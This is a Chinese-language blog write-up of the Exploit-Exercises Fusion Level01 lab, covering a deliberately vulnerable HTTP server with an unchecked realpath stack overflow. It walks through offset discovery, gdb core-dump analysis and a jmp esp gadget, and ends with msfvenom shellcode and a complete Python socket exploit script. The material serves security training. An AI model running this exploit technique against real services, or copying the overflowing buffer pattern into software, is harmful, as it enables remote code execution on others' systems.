Quantcast
Channel: 程序人生 »代码疯子
Viewing all articles
Browse latest Browse all 59

Exploit-Exercises Fusion Level01

$
0
0

Fusion Level01和Level00是一样的,只是引入了ASLR机制,因为栈是可执行的,这里借助jmp esp来跳转到栈上执行代码。这是一个简单的栈溢出场景,realpath函数的原型为char *realpath(const char *path, char *resolved_path),其将path中保存的路径字符串展开之后复制到resolved_path之中,这里由于resolved数组只有128个字节,而path有1000多个字节,因此这里会发生栈溢出。

Fusion Level01的源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include "../common/common.c"    
 
int fix_path(char *path)
{
  char resolved[128];
 
  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);
}
 
char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;
 
  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D
 
  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
 
  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
 
  fix_path(path);
 
  printf("trying to access %s\n", path);
 
  return path;
}
 
int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;
 
  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);
 
  parse_http_request(); 
}

0×01. 定位返回地址覆盖偏移值
首先使用metasploit-framework的pattern_create.rb创建一个字符串用于定位返回地址的偏移值:

root@kali:/usr/share/metasploit-framework/tools# ./pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

在Fusion机器上,必须先开启core dump设置,设置代码如下:

root@fusion:/opt/fusion/bin# ulimit -c unlimited
root@fusion:/opt/fusion/bin# echo 1 > /proc/sys/fs/suid_dumpable
root@fusion:/opt/fusion/bin# echo 'core.%e.%p' > /proc/sys/kernel/core_pattern

然后,通过nc远程发送数据进行测试:

root@kali:/usr/share/metasploit-framework/tools# python -c "print 'GET /' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag HTTP/1.1'+'\x90'*100" | nc 192.168.218.197 20001

这时候,在Fusion的机器的根目录/下发现core文件,使用gdb进行调试:

root@fusion:/# gdb /opt/fusion/bin/level01 core.level01.3147 
 
Reading symbols from /opt/fusion/bin/level01...done.
[New LWP 3147]
 
warning: Can't read pathname for load map: Input/output error.
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 11, Segmentation fault.
#0  0x65413665 in ?? ()

这里EIP被覆盖为0×65413665,找到这个数据在字符串中的偏移值,发现偏移值为139:

root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 0x65413665
[*] Exact match at offset 139

另外,我们发现esi寄存器指向了一堆0×90,那就是我们放在HTTP/1.1后面的数据:

(gdb) i r 
eax            0x1	1
ecx            0xb75c78d0	-1218676528
edx            0xbfd3da89	-1076634999
ebx            0xb773fff4	-1217134604
esp            0xbfd3da50	0xbfd3da50
ebp            0x41356541	0x41356541
esi            0xbfd3db3e	-1076634818
edi            0x8049ed1	134520529
eip            0x65413665	0x65413665
eflags         0x10246	[ PF ZF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x /20xb $esi
0xbfd3db3e:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbfd3db46:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbfd3db4e:	0x90	0x90	0x90	0x90

如果能找到一条jmp esi指令,那就完美了,不过通过msfelfscan没有找到:

root@kali:/usr/share/metasploit-framework# ./msfelfscan -j esi /home/winson/Desktop/Fusion/level01
[/home/winson/Desktop/Fusion/level01]

也可以先找jmp esp,然后再执行jmp esi,后者我们可以自己构造:

root@kali:/usr/share/metasploit-framework# ./msfelfscan -j esp /home/winson/Desktop/Fusion/level01
[/home/winson/Desktop/Fusion/level01]
0x08049f4f jmp esp

https://defuse.ca/online-x86-assembler.htm 这个页面可以将汇编指令翻译成对应的机器码,我们得到jmp esi的机器码为FF E6。

0×02. 执行Shellcode
这里level01的UID为20001,因此生成一段创建文件的Shellcode进行测试,使用msfvenom创建一段Shellcode:(创建文件/tmp/foobar)

root@kali:/usr/share/metasploit-framework/tools# msfvenom -p linux/x86/exec -f py CMD="touch /tmp/foobar"
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12"
buf += "\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70"
buf += "\x2f\x66\x6f\x6f\x62\x61\x72\x00\x57\x53\x89\xe1\xcd"
buf += "\x80"

我们先通过jmp esp来跳转到栈上执行jmp esi,之后就可以执行Shellcode了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import sys
import socket
 
def pwn(ip, port):
    junk = 'A'*139
    ret = "\x4f\x9f\x04\x08"
    jmpesi = "\xFF\xE6"
    nops = '\x90'*100
    shellcode  = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73"
    shellcode += "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12\x00\x00"
    shellcode += "\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x66\x6f"
    shellcode += "\x6f\x62\x61\x72\x00\x57\x53\x89\xe1\xcd\x80"
    request = 'GET /' + junk + ret + jmpesi + ' HTTP/1.1' + nops + shellcode
 
    fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    fd.connect((ip, port))
    fd.sendall(request)
    fd.close()
 
if __name__ == "__main__":
    if len(sys.argv) == 3:
        pwn(sys.argv[1], int(sys.argv[2]))

发送攻击数据给Fusion机器:

winson@kali:~/Desktop/Fusion$ python level01.py 192.168.218.197 20001

Exploit-Exercises Fusion Level01


本文地址: 程序人生 >> Exploit-Exercises Fusion Level01
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


Viewing all articles
Browse latest Browse all 59

Trending Articles